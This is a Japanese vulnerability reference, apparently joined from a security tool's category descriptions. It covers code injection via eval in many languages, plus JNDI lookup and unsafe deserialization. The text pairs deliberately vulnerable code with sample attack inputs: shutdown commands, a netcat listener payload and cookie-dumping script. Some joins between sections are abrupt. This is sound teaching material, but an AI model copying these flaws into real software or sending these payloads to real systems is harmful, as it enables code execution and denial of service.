StringBuilder または StringBuffer インスタンスに信頼できないデータを追加すると、JVM がヒープ メモリ領域を過剰に消費するようになる可能性があります。StringBuilder または StringBuffer インスタンスにユーザー制御のデータを追加すると、基礎となる配列をユーザーのデータに合わせてサイズ変更するときにアプリケーションが大量のヒープ メモリを消費するようになる可能性があります。StringBuilder または StringBuffer インスタンスにデータが追加されると、インスタンスは、バッキング文字配列にデータを保存できる十分な空き領域があるかどうかを判断します。データが適合しない場合、StringBuilder または StringBuffer インスタンスは前の配列サイズの 2 倍以上の容量を持つ新しい配列を作成します。古い配列はガベージ コレクトされるまでヒープ内に残ります。攻撃者はこの実装の詳細を利用して、Denial of Service (DoS) 攻撃を実行する可能性があります。StringBuilder インスタンスにユーザー制御のデータが追加されます。
...
val sb = StringBuilder()
val labels = request.getParameterValues("label")
for (label in labels) {
sb.appendln(label)
}
...
...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...
operation パラメーターが悪意のない値である場合、プログラムは正常に動作します。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、挿入されたコードによってシステム リソースにアクセスする場合や、システム コマンドを実行する場合に、より危険性が高まります。たとえば、攻撃者が "MOVE 'shutdown -h now' を cmd に指定した場合、CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[]." を operation の値として指定すると、ホスト システムでシャットダウン コマンドが実行されます。
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...
operation パラメーターが "8 + 7 * 2"などの悪意のない値である場合、プログラムは正しく動作します。この場合、result 変数には値 22 が割り当てられます。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。ActionScript の場合、攻撃者はこの脆弱性を利用してクロスサイト スクリプト攻撃を実行できます。
...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;
StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");
CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}
System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");
Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");
object s = mi.Invoke(o, null);
return s;
}
...
sCSCode パラメーターが "return 8 + 7 * 2" などの無害な値であれば正しく動作し、その場合、関数 CEval の戻り値は 22 となります。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。たとえば、.Net では Windows API の呼び出しが可能です。攻撃者が operation の値として " return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");" を指定した場合、ホスト システムでは shutdown コマンドが実行されます。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation パラメーターが「8 + 7 * 2」などの悪意のない値である場合、プログラムは正しく動作します。この場合、result 変数には値 22 が割り当てられます。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。たとえば、JavaScript で Java オブジェクトの呼び出しが可能です。攻撃者が operation の値として " java.lang.Runtime.getRuntime().exec("shutdown -h now")" を指定すると、ホスト システムで shutdown コマンドが実行されます。
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation パラメーターが「8 + 7 * 2」などの悪意のない値である場合、プログラムは正しく動作します。この場合、calcResult 変数には値 22 が割り当てられます。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。JavaScript の場合、攻撃者はこの脆弱性を利用してクロスサイト スクリプト攻撃を実行できます。
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...
webView 内の <body> 要素は青い背景のスタイルになります。一方、攻撃者が悪意があるにもかかわらず有効な入力を使用する場合は、任意の JavaScript コードを実行できる可能性があります。たとえば、JavaScript は cookie など特定タイプの個人情報にアクセスできるので、攻撃者が "white";document.body.innerHTML=document.cookie;"" を UITextField への入力として指定すると、cookie 情報が可視的にそのページに書き込まれます。このような攻撃は、基盤の言語がシステム リソースへのアクセスを提供したりシステム コマンドの実行を可能にしたりする場合にさらに危険になります。そのようなシナリオでは、挿入されたコードが親プロセスの全権限とともに実行されるからです。
...
$userOps = $_GET['operation'];
$result = eval($userOps);
...
operation パラメーターが「8 + 7 * 2」などの悪意のない値である場合、プログラムは正しく動作します。この場合、result 変数には値 22 が割り当てられます。しかし、攻撃者が有効かつ悪意のある操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。たとえば、攻撃者が operation の値として " exec('shutdown -h now')" を指定した場合、ホスト システムでは shutdown コマンドが実行されます。
...
userOps = request.GET['operation']
result = eval(userOps)
...
operation パラメーターが「8 + 7 * 2」などの悪意のない値である場合、プログラムは正しく動作します。この場合、result 変数には値 22 が割り当てられます。しかし、攻撃者が有効かつ悪意のある操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。たとえば、攻撃者が operation の値として " os.system('shutdown -h now')" を指定した場合、ホスト システムでは shutdown コマンドが実行されます。
...
user_ops = req['operation']
result = eval(user_ops)
...
operation パラメーターが「8 + 7 * 2」などの悪意のない値である場合、プログラムは正しく動作します。この場合、result 変数には値 22 が割り当てられます。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。Ruby では、これは許可されます。また、行をセミコロン (;) で区切ることで複数のコマンドを実行できるため、プログラムを不正使用しなくても、単純な挿入で多くのコマンドを実行することもできるようになります。operation "system(\"nc -l 4444 &\");8+7*2" を送信すると、ポート 4444 が開いてマシン上の接続をリスンしますが、result には値 22 を返します。
...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...
webView 内の <body> 要素は青い背景のスタイルになります。一方、攻撃者が悪意があるにもかかわらず有効な入力を使用する場合は、任意の JavaScript コードを実行できる可能性があります。たとえば、JavaScript は cookie など特定タイプの個人情報にアクセスできるので、攻撃者が "white";document.body.innerHTML=document.cookie;"" を UITextField への入力として指定すると、cookie 情報が可視的にそのページに書き込まれます。このような攻撃は、基盤の言語がシステム リソースへのアクセスを提供したりシステム コマンドの実行を可能にしたりする場合にさらに危険になります。そのようなシナリオでは、挿入されたコードが親プロセスの全権限とともに実行されるからです。
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation パラメーターが"8 + 7 * 2" である例に示されます。strResult 変数は、値 22 を戻します。しかし、ユーザーが有効なそのほかの言語操作を指定する場合、それらの操作は実行されるだけでなく、親プロセスの完全な権限で実行されます。基礎となる言語によってシステムリソースにアクセスできる場合やシステムコマンドの実行が認められている場合、任意のコード実行がもたらす危険性はより高まります。たとえば、攻撃者が operation に " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" を指定した場合、ホスト システムでは shutdown コマンドが実行されます。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
ScriptContext newContext = new SimpleScriptContext();
Bindings engineScope = newContext.getBindings(request.getParameter("userName"));
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps,newContext);
...
page_scope パラメーターが予期していたユーザー名である場合です。しかし、攻撃者が GLOBAL_SCOPE の値を指定した場合、同じ ScriptEngine によって作成されたすべてのエンジン内のすべての属性にアクセスが可能となります。
...
String address = request.getParameter("address");
Properties props = new Properties();
props.put(Provider_URL, "rmi://secure-server:1099/");
InitialContext ctx = new InitialContext(props);
ctx.lookup(address);
...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...
operation パラメーターが悪意のない値、たとえば "John" (この場合は result 変数に "Hello World!Welcome John!" の値が割り当てられる) などの場合に正しく動作します。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。たとえば、RazorでC#オブジェクトの呼び出しが可能です。攻撃者がnameの値として" @{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }"を指定した場合、ホストシステムではシステムコマンドが実行されます。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation パラメーターが「8 + 7 * 2」などの悪意のない値である場合、プログラムは正しく動作します。この場合、result 変数には値 22 が割り当てられます。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。たとえば、JavaScript で Java オブジェクトの呼び出しが可能です。攻撃者が operation の値として " java.lang.Runtime.getRuntime().exec("shutdown -h now")" を指定すると、ホスト システムで shutdown コマンドが実行されます。
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation パラメーターが「8 + 7 * 2」などの悪意のない値である場合、プログラムは正しく動作します。この場合、calcResult 変数には値 22 が割り当てられます。しかし、攻撃者が有効かつ悪意のある言語操作を指定した場合、指定された操作は親プロセスの完全な権限で実行されます。このような攻撃は、基盤となる言語によってシステムリソースにアクセスできる場合や、システムコマンドの実行が認められている場合に、より危険性が高まります。JavaScript の場合、攻撃者はこの脆弱性を利用してクロスサイト スクリプト攻撃を実行できます。
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation パラメーターが"8 + 7 * 2" である例に示されます。strResult 変数は、値 22 を戻します。しかし、ユーザーが有効なそのほかの言語操作を指定する場合、それらの操作は実行されるだけでなく、親プロセスの完全な権限で実行されます。基礎となる言語によってシステムリソースにアクセスできる場合やシステムコマンドの実行が認められている場合、任意のコード実行がもたらす危険性はより高まります。たとえば、攻撃者が operation に " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" を指定した場合、ホスト システムでは shutdown コマンドが実行されます。BeanUtilsHashMapper を使用して Redis ハッシュをデシリアライズし、攻撃者がこのようなハッシュを制御して任意のコードを実行できるようにします。
HashMapper<Person, String, String> hashMapper = new BeanUtilsHashMapper<Person>(Person.class);
Person p = hashMapper.fromHash(untrusted_map);
Stream オブジェクトを入力として受け取り、デシリアライズして .NET オブジェクトに戻します。次に文字列オブジェクトのリストにキャストしてから結果を返します。
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...
Example 1 は次のように書き換えることができます。
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...
Example 2 では、入力ストリームが有効であれば、そのタイプが List <string> であるかどうかに関係なく、デシリアライズ操作は成功します。bin フォルダまたは GAC に存在している必要があるシリアライズ可能なクラスで定義され、攻撃者が挿入できないので、これらの攻撃による悪用の可能性はアプリケーション環境で利用可能なクラスに依存します。残念ながら、一般的なサードパーティのクラスまたは .NET のクラスでさえ悪用され、システム リソースを枯渇させたり、悪意あるファイルが展開されたり、任意のコードが実行されたりすることがあります。